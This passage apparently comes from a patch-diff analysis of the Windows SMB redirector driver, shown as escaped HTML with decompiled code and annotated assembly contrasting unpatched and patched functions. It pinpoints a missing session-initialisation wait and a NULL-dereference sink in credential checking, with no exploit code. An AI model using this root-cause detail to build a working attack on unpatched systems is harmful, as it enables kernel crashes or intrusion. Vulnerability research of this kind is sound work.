&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;existing_344&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;existing_344&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;first_dword&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;xmm1&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC00001B4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;// must match existing value&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;byte_348&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;second_field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;xmm1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0xC00001B5&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;write_target&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;xmm1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="c1"&gt;// write to caller&amp;#39;s own connection ctx +0x344&lt;/span&gt;
&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// === PATCHED feature path (selected by Feature_Servicing_AlternativePort_Dcr) ===&lt;/span&gt;
&lt;span class="c1"&gt;// Same parse, plus a separate consistency check:&lt;/span&gt;
&lt;span class="n"&gt;status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;MRxSmbValidateIncomingPortsAgainstEffective&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="c1"&gt;// compares EA ports vs ctx-&amp;gt;effective_ports at +0x354/+0x356/+0x358,&lt;/span&gt;
&lt;span class="c1"&gt;// returns 0xC05D000D on mismatch. This is feature consistency, not a security boundary.&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Finding 1: &lt;code&gt;SmbCeFindSessionEntry&lt;/code&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;--- UNPATCHED SmbCeFindSessionEntry @ 0x140008700 (vulnerable lookup path) ---&lt;/span&gt;
&lt;span class="mh"&gt;0x140008750&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdi+780h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;server&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;spinlock&lt;/span&gt;
&lt;span class="mh"&gt;0x140008757&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ExAcquireSpinLockExclusive&lt;/span&gt;
&lt;span class="mh"&gt;0x140008773&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lea&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+210h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                 &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;session&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;list&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;head&lt;/span&gt;
&lt;span class="mh"&gt;0x140008780&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;first&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;entry&lt;/span&gt;
&lt;span class="mh"&gt;0x140008797&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+0Ch&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;state&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;5&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;gate&lt;/span&gt;
&lt;span class="mh"&gt;0x1400087A1&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;r9d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+1A8h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;session&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;refcount&lt;/span&gt;
&lt;span class="mh"&gt;0x1400087AB&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mh"&gt;0x140008972&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;skip&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;zero&lt;/span&gt;
&lt;span class="mh"&gt;0x1400087B4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+60h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SessionID&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi+48h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1400087C0&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+64h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;match&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LogonID&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsi+4Ch&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1400087C9&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;inc&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;dword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+1ACh&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;              &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;VnrCtxts&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;
&lt;span class="mh"&gt;0x1400087E8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+1A8h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r9d&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;session&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;refcount&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;
&lt;span class="mh"&gt;0x140008805&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;lock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;xadd&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r8d&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;refcount&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;atomic&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x140008841&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ExReleaseSpinLockExclusive&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;spinlock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;released&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;no&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;init&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wait&lt;/span&gt;
&lt;span class="mh"&gt;0x14000884D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+80h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;security&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;
&lt;span class="mh"&gt;0x14000885B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;CheckCredentials&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;@&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x1400089FC&lt;/span&gt;
&lt;span class="mh"&gt;0x14000888F&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+80h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
&lt;span class="mh"&gt;0x1400088CF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;null&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;check&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x80&lt;/span&gt;
&lt;span class="mh"&gt;0x1400088D4&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax+38h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;security&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;descriptor&lt;/span&gt;
&lt;span class="mh"&gt;0x1400088D8&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;test&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;null&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;check&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;descriptor&lt;/span&gt;
&lt;span class="mh"&gt;0x14005A53B&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_SeAccessCheck&lt;/span&gt;&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;only&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;reached&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;with&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;non&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="k"&gt;NULL&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;SD&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;--- NULL-deref sink in CheckCredentials @ 0x1400089FC ---&lt;/span&gt;
&lt;span class="mh"&gt;0x140008A12&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rcx&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x80&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pointer&lt;/span&gt;
&lt;span class="mh"&gt;0x140008A32&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="mh"&gt;0x140008A3C&lt;/span&gt;&lt;span class="w"&gt;                        &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;only&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;the&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax+8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;read&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;is&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;guarded&lt;/span&gt;
&lt;span class="mh"&gt;0x140008A56&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rax+38h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdx&lt;/span&gt;&lt;span class="w"&gt;                     &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;faults&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rax&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;

&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;--- PATCHED SmbCeFindSessionEntry @ 0x1400334F0 adds ---&lt;/span&gt;
&lt;span class="mh"&gt;0x1400335DF&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;movzx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ptr&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rbx+230h&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;           &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;session&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="n"&gt;init&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flag&lt;/span&gt;
&lt;span class="mh"&gt;0x1400336A2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ExBlockOnAddressPushLock&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wait&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x230&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pushlock&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x238&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="mh"&gt;0x1400337D2&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="k"&gt;call&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="nl"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="n"&gt;__imp_ExBlockOnAddressPushLock&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wait&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;on&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="mh"&gt;0x231&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;Finding 2: &lt;code&gt;MRxSmbValidateAndGetTransportParameters&lt;/code&gt;&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;--- UNPATCHED MRxSmbValidateAndGetTransportParameters @ 0x140030D30 ---&lt;/span&gt;
